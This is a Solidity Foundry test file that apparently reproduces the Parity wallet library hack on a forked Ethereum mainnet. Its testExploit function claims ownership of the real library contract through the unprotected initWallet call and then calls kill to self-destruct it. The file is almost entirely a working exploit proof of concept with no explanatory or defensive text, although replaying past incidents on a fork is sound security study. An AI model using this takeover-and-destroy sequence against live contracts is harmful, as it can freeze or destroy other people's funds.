Parity_kill.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.10;

import "forge-std/Test.sol";
import "./interface.sol";

interface parity {
  function isOwner(address _addr) external view returns (bool);

  function kill(address _to) external;

  function initWallet(
    address[] memory _owners,
    uint256 _required,
    uint256 _daylimit
  ) external;
}

contract ContractTest is DSTest {
  parity WalletLibrary =
    parity(payable(0x863DF6BFa4469f3ead0bE8f9F2AAE51c91A907b4));

  address[] public owner;
  CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

  function setUp() public {
    cheats.createSelectFork("mainnet", 4501735); //fork mainnet at block 4501735
  }

  function testExploit() public {
    WalletLibrary.isOwner(address(this)); // not a owner of contract
    owner.push(address(this));
    WalletLibrary.initWallet(owner, 0, 0);
    bool isowner = WalletLibrary.isOwner(address(this)); // you are owner of contract now
    assertTrue(isowner);
    WalletLibrary.kill(address(this));
    WalletLibrary.isOwner(address(this)); // contract destroyed, return 0
  }

  receive() external payable {}
}